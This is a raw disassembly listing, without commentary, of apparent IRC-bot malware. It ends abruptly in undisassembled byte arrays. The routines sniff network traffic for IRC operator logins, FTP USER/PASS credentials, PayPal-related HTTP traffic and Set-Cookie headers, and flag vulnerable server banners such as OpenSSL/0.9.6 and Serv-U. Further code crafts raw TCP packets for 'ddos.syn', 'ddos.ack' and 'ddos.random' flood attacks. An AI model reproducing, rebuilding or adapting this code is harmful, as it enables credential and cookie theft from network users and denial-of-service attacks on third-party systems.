aIrcSniff ; "IRC sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_41301D loc_413019: ; CODE XREF: sub_413003+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41301D: ; CODE XREF: sub_413003+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_413019 push offset aOper_0 ; "OPER " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_413043 loc_41303F: ; CODE XREF: sub_413003+4Fj ; sub_413003+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413043: ; CODE XREF: sub_413003+3Aj push offset aNick_1 ; "NICK " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41303F push offset aOper ; "oper " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41303F push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413003 endp ; =============== S U B R O U T I N E ======================================= sub_413079 proc near ; CODE XREF: sub_4131EC+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_413093 loc_41308F: ; CODE XREF: sub_413079+29j ; sub_413079+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_413093: ; CODE XREF: sub_413079+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41308F push offset aNick_1 ; "NICK " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41308F push offset a220 ; "220 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4130CA loc_4130C6: ; CODE XREF: sub_413079+60j ; sub_413079+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4130CA: ; CODE XREF: sub_413079+4Bj push offset a230 ; "230 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4130C6 push offset aUser_3 ; "USER " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4130C6 push offset aPass_1 ; "PASS " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413079 endp ; =============== S U B R O U T I N E ======================================= sub_413100 proc near ; CODE XREF: sub_4131EC+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_41311A loc_413116: ; CODE XREF: sub_413100+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41311A: ; CODE XREF: sub_413100+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_413116 push offset aPaypal ; "paypal" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_413140 loc_41313C: ; CODE XREF: sub_413100+4Fj ; sub_413100+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413140: ; CODE XREF: sub_413100+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aPaypal_com ; "paypal.com" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aSetCookie ; "Set-Cookie:" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413100 endp ; =============== S U B R O U T I N E ======================================= sub_413187 proc near ; CODE XREF: sub_4131EC:loc_4135B1p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4131A1 loc_41319D: ; CODE XREF: sub_413187+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4131A1: ; CODE XREF: sub_413187+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41319D push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4131C7 loc_4131C3: ; CODE XREF: sub_413187+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4131C7: ; CODE XREF: sub_413187+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4131C3 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413187 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4131EC proc near ; DATA XREF: sub_401ACD+42A0o var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41C500 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CB9E8 lea eax, [ebp+var_3B8] push eax call dword_4CBA58 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41CD20 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CBA54 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_413292 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_413292: ; CODE XREF: sub_4131EC+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CBA00 cmp eax, 0FFFFFFFFh jnz short loc_413308 call dword_4CB968 push eax lea eax, [ebp+var_2B8] push offset unk_437870 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4132E4 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409869 add esp, 14h loc_4132E4: ; CODE XREF: sub_4131EC+D6j lea eax, [ebp+var_2B8] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C push [ebp+var_34] call sub_40B6D6 pop ecx push ebx nop call near ptr 2710000h loc_413308: ; CODE XREF: sub_4131EC+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CB980 cmp eax, 0FFFFFFFFh jnz short loc_41338E call dword_4CB968 push eax lea eax, [ebp+var_2B8] push offset unk_437840 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_41336A push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409869 add esp, 14h loc_41336A: ; CODE XREF: sub_4131EC+15Cj lea eax, [ebp+var_2B8] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C push [ebp+var_34] call sub_40B6D6 pop ecx push ebx call near ptr 2710000h nop loc_41338E: ; CODE XREF: sub_4131EC+13Cj mov esi, 200h loc_413393: ; CODE XREF: sub_4131EC+1D6j ; sub_4131EC+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CB9EC cmp [ebp+var_113AF], 6 jnz short loc_413393 push [ebp+var_113A4] mov edi, dword_4271CC call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_413393 cmp [ebp+arg_0], 19h jz short loc_413393 cmp edi, 6Eh jz short loc_413393 cmp edi, 19h jz short loc_413393 push [ebp+var_113AC] call sub_412EDD pop ecx push dword ptr [eax] call near ptr 71AB401Ch nop push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41C266 push [ebp+var_113A8] call sub_412EDD add esp, 10h push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41C266 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41B9C0 add esp, 10h test eax, eax jle short loc_413491 loc_41345D: ; CODE XREF: sub_4131EC+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_413474 mov byte ptr [eax], 20h loc_413474: ; CODE XREF: sub_4131EC+283j cmp byte ptr [eax], 0Ah jnz short loc_41347C mov byte ptr [eax], 20h loc_41347C: ; CODE XREF: sub_4131EC+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41B9C0 cmp [ebp+var_4], eax pop ecx jl short loc_41345D loc_413491: ; CODE XREF: sub_4131EC+26Fj cmp [ebp+arg_0], 50h jz loc_413544 cmp edi, 50h jz loc_413544 lea eax, [ebp+var_1138C] push eax call sub_412EEC test al, al pop ecx jz short loc_4134D8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_43780C jmp loc_413573 ; --------------------------------------------------------------------------- loc_4134D8: ; CODE XREF: sub_4131EC+2C7j cmp edi, 50h jz short loc_413544 lea eax, [ebp+var_1138C] push eax call sub_413003 test al, al pop ecx jz short loc_41350E lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4377D8 jmp short loc_413573 ; --------------------------------------------------------------------------- loc_41350E: ; CODE XREF: sub_4131EC+300j cmp edi, 50h jz short loc_413544 lea eax, [ebp+var_1138C] push eax call sub_413079 test al, al pop ecx jz short loc_413544 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4377A4 jmp short loc_413573 ; --------------------------------------------------------------------------- loc_413544: ; CODE XREF: sub_4131EC+2A9j ; sub_4131EC+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_413100 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_4135B1 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_43776C loc_413573: ; CODE XREF: sub_4131EC+2E7j ; sub_4131EC+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41C360 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_413393 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409869 add esp, 14h jmp loc_413393 ; --------------------------------------------------------------------------- loc_4135B1: ; CODE XREF: sub_4131EC+36Ej call sub_413187 test al, al pop ecx jz loc_413393 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_437734 jmp short loc_413573 sub_4131EC endp ; --------------------------------------------------------------------------- byte_4135DF db 55h ; DATA XREF: sub_401ACD+6464o dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 22ACF7Dh dd 8CA6E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h dd 8D5014C4h, 0FFFB6C85h, 789C68FFh, 0E8500043h, 8C1Eh dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 0FAE8FFFFh, 83FFFF61h dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h dd 0FF804DE8h, 565959FFh, 0C96EE890h, 5E5F022Fh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413694 proc near ; CODE XREF: ___:00413A0Bp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB944 test eax, eax jz short loc_4136D4 xor eax, eax jmp loc_4139C7 ; --------------------------------------------------------------------------- loc_4136D4: ; CODE XREF: sub_413694+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CBA78 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4139BF push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CB9B4 cmp eax, 0FFFFFFFFh jz loc_4139B5 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CB9D4 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CB9D4 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CB9D4 mov [ebp+var_12], ax call sub_41C2C2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CB9D4 push 12345678h mov [ebp+var_14], ax call dword_4CB9D0 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4137A4 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_4137F8 ; --------------------------------------------------------------------------- loc_4137A4: ; CODE XREF: sub_413694+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4137C0 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_4137F8 ; --------------------------------------------------------------------------- loc_4137C0: ; CODE XREF: sub_413694+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4137F8 call sub_41C2C2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41C2C2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_4137F8: ; CODE XREF: sub_413694+10Ej ; sub_413694+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CB9D4 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 27D0484h lea eax, [ebp+var_1C] push eax nop call near ptr 27D021Bh push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41DB20 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_413846: ; CODE XREF: sub_413694+2E2j ; sub_413694+2F0j mov [ebp+var_4], bx call sub_41C2C2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB9D4 mov [ebp+var_14], ax call sub_41C2C2 mov edi, eax shl edi, 10h call sub_41C2C2 or edi, eax push edi call dword_4CB9D4 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB9D0 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB9D4 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41CD20 lea eax, [ebp+var_B4] push 34h push eax call sub_40AA5F mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41CD20 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BF70 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA5F mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CBA38 cmp eax, 0FFFFFFFFh jz short loc_413989 add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 27D021Bh mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4139B2 jl loc_413846 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4139B2 jmp loc_413846 ; --------------------------------------------------------------------------- loc_413989: ; CODE XREF: sub_413694+2CBj call dword_4CB968 push eax lea eax, [ebp+var_F4] push offset dword_4378C4 push eax call sub_41C266 lea eax, [ebp+var_F4] push eax call sub_415D38 add esp, 10h jmp short loc_4139B5 ; --------------------------------------------------------------------------- loc_4139B2: ; CODE XREF: sub_413694+2E0j ; sub_413694+2EEj mov ebx, [ebp+arg_8] loc_4139B5: ; CODE XREF: sub_413694+78j ; sub_413694+31Cj push [ebp+var_20] call dword_4CBA6C pop esi loc_4139BF: ; CODE XREF: sub_413694+5Bj call dword_4CB92C mov eax, ebx loc_4139C7: ; CODE XREF: sub_413694+3Bj pop edi pop ebx leave retn sub_413694 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8F0 push dword ptr [esp+18h] mov esi, eax call sub_41C159 push dword ptr [esp+24h] mov ebx, eax call sub_41C159 mov edi, eax call sub_41C2C2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_413694 add esp, 20h test eax, eax jnz short loc_413A1A push 1 pop eax loc_413A1A: ; CODE XREF: ___:00413A15j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_413A29 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6643o dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h dd 0FF000001h, 4CBA5415h, 0FFF88300h, 75FC4589h, 6815FF5Fh dd 50004CB9h, 0FC44858Dh, 0C468FFFFh, 50004379h, 87E9E8h dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF5DC5h dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 1BE8C875h dd 59FFFF7Ch, 0E8905759h, 22FC53Ch, 6AF44D8Dh, 0FF335104h dd 5057026Ah, 0FFF45D89h, 4CB9B415h, 0FFF88300h, 15FF5D75h dd 4CB968h, 44858D50h, 68FFFFFCh, 437994h, 8770E850h, 0C4830000h dd 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h dd 50FFFFFFh, 0FE44B5FFh, 4EE8FFFFh, 83FFFF5Dh, 858D14C4h dd 0FFFFFC44h, 220EE850h, 75FF0000h, 7BA4E8C8h, 5959FFFFh dd 0C5E89057h, 8D022FC4h, 0FFFE4885h, 15FF50FFh, 4CBA14h dd 75FFF883h, 44858D55h, 68FFFFFCh, 437974h, 8708E850h dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5CE7E8FFh, 0C483FFFFh dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF7B3DE8h dd 575959FFh, 0C45EE890h, 106A022Fh, 57E4458Dh, 83C2E850h dd 0C4830000h, 45C7660Ch, 570002E4h, 0B9D415FFh, 8966004Ch dd 858DE645h, 0FFFFFE48h, 1415FF50h, 8B004CBAh, 4270B035h dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0E74005C6h dd 0FF45004Ch, 4CB9D415h, 0D47D3900h, 0E742A366h, 8966004Ch dd 4CE7441Dh, 3D896600h, 4CE746h, 0E74805C6h, 8880004Ch dd 4CE7491Dh, 3D896600h, 4CE74Ah, 87E83074h, 8B000086h dd 8E3C1D8h, 867DE8h, 0C1D80300h, 73E808E3h, 3000086h dd 8E3C1D8h, 8669E8h, 6AD80300h, 4C1D8901h, 5B004CE7h dd 0B5FF18EBh, 0FFFFFE44h, 0FF6D95E8h, 0FF5059FFh, 4CBA1415h dd 0E74CA300h, 458B004Ch, 0E750A3E8h, 37E8004Ch, 99000086h dd 100B9h, 88F9F700h, 4CE75415h, 8624E800h, 0B9990000h dd 100h, 1588F9F7h, 4CE755h, 8611E8h, 0F0B99900h, 68000000h dd 400h, 8966F9F7h, 4CE7563Dh, 1D896600h, 4CE75Ah, 15896642h dd 4CE758h, 85E9E8h, 0FFB99900h, 0F7000000h, 5C6852F9h dd 0E8004CE7h, 8284h, 8D0CC483h, 106AE445h, 1C685750h dd 68000004h, 4CE740h, 0FFFC75FFh, 4CBA3815h, 0FFF88300h dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 6C15FFFCh, 0FF004CBAh dd 4CB96815h, 858D5000h, 0FFFFFE48h, 500875FFh, 43792C68h dd 44858D00h, 68FFFFFCh, 200h, 861AE850h, 0C4830000h, 0DC7D3918h dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh dd 0FE44B5FFh, 0FEE8FFFFh, 83FFFF5Ah, 858D14C4h, 0FFFFFC44h dd 1FBEE850h, 75FF0000h, 7954E8C8h, 5959FFFFh, 75E89057h dd 0FF022FC2h, 15FFFC75h, 4CBA6Ch, 3308458Bh, 3CC06BD2h dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4378E068h dd 9BE85000h, 83000084h, 7D391CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF5A79h, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh dd 0CFE8C875h, 59FFFF78h, 0E8905759h, 22FC1F0h dword_413E10 dd 0B8EC8B55h, 10320h, 86E3E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+542Do dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 5C15FF00h dd 89004CB9h, 858D0845h, 0FFFFFF40h, 1415FF50h, 8B004CBAh dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 5815FF50h dd 3B004CBAh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh dd 0FCBC858Dh, 1C68FFFFh, 5000437Ah, 83DDE8h, 0CC48300h dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh dd 0FF50FFFFh, 0FFFEBCB5h, 59BBE8FFh, 0C483FFFFh, 0BC858D14h dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF7811E8h, 575959FFh dd 2FC133E8h, 0C33B9002h, 408B0C74h, 8B008B0Ch, 0FC458900h dd 758903EBh, 8D1C6AFCh, 5053E045h, 8083E8h, 0E84D8300h dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h dd 4CB8ECh, 0C0753B46h, 75FFDA7Ch, 8C15FF08h, 8D004CBAh dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 4379F068h, 0FE85000h dd 83000083h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF58EDh dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 43E8D075h dd 59FFFF77h, 65E85359h, 90022FC0h dword_413F9C dd 0B8EC8B55h, 10310h, 8557E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+5679o dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0C5BFE800h dd 5090022Ah, 82E7E8h, 116A5900h, 26A026Ah, 0BA5415FFh dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 7F82E850h, 0C4830000h dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CBA14h dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CBA5815h dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 7068FFFFh dd 5000437Ah, 8231E8h, 0CC48300h, 75E87D39h, 858D5720h dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h dd 580FE8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h dd 0E075FF00h, 0FF7665E8h, 565959FFh, 0BF86E890h, 408B022Fh dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 2FE81175h dd 99000082h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h dd 4CB9D4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 81E1E8h dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h dd 0B3E85750h, 6A000081h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh dd 0FEFCF085h, 0FF5350FFh, 4CBA3815h, 0D875FF00h, 28C55AE8h dd 754E9002h, 0DC7D39CEh, 83E8BC75h, 99000081h, 0FFDCB9h dd 42F9F700h, 0D415FF52h, 66004CB9h, 0EBF24589h, 50858DA1h dd 50FFFFFFh, 0FCCC858Dh, 4468FFFFh, 5000437Ah, 80F9E8h dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 56D7E8FFh, 0C483FFFFh dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF752DE8h dd 575959FFh, 0BE4EE890h db 2Fh, 2 word_4141B2 dw 8B55h ; DATA XREF: sub_401ACD+4CC4o dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh dd 